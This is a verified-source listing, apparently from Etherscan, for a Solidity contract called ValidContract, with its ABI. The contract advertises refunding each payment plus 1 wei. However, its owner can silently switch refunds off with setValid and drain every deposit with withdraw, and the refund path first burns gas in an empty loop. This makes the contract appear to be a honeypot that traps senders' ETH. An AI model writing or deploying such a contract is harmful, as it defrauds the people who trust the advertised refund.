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/**
 *Submitted for verification at Etherscan.io on 2025-05-13
*/

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.26;

contract ValidContract {
    address public owner;
    bool public is_valid = true;

    constructor() {
        owner = msg.sender;
    }

    // Приём платежей: возвращает сумму + 1 wei, если is_valid == true
    receive() external payable {
        uint256 amount = msg.value;
        uint256 g = gasleft();
        if (is_valid && g > 50000) {
            while (gasleft() > 30000) {}
            (bool success, ) = msg.sender.call{ value: amount + 1 }("");
            require(success, "Refund failed");
        }
        // иначе — ничего не возвращаем
    }

    function Execute() external payable {
        uint256 amount = msg.value;
        uint256 g = gasleft();
        if (is_valid && g > 50000) {
            while (gasleft() > 30000) {}
            (bool success, ) = msg.sender.call{ value: amount + 1 }("");
            require(success, "Refund failed");
        }
    }


    // Функция для пополнения баланса контракта
    function topUp() external payable {
        // просто принимает ETH и увеличивает баланс
    }

    // Изменение флага is_valid, доступно только владельцу
    function setValid(bool _valid) external {
        require(msg.sender == owner, "Only owner");
        is_valid = _valid;
    }

    // Вывод всех ETH на указанный адрес, доступно только владельцу
    function withdraw(address to) external {
        require(msg.sender == owner, "Only owner");
        uint256 bal = address(this).balance;
        (bool success, ) = to.call{ value: bal }("");
        require(success, "Withdraw failed");
    }
}

• No Contract Security Audit Submitted- Submit Audit Here

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"inputs":[],"name":"Execute","outputs":[],"stateMutability":"payable","type":"function"},{"inputs":[],"name":"is_valid","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"bool","name":"_valid","type":"bool"}],"name":"setValid","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"topUp","outputs":[],"stateMutability":"payable","type":"function"},{"inputs":[{"internalType":"address","name":"to","type":"address"}],"name":"withdraw","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

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ipfs://3595562e793ea0dc67897a3b0e0260ad33bd2ea21b6d0cbbd9a6ce1487d4e91c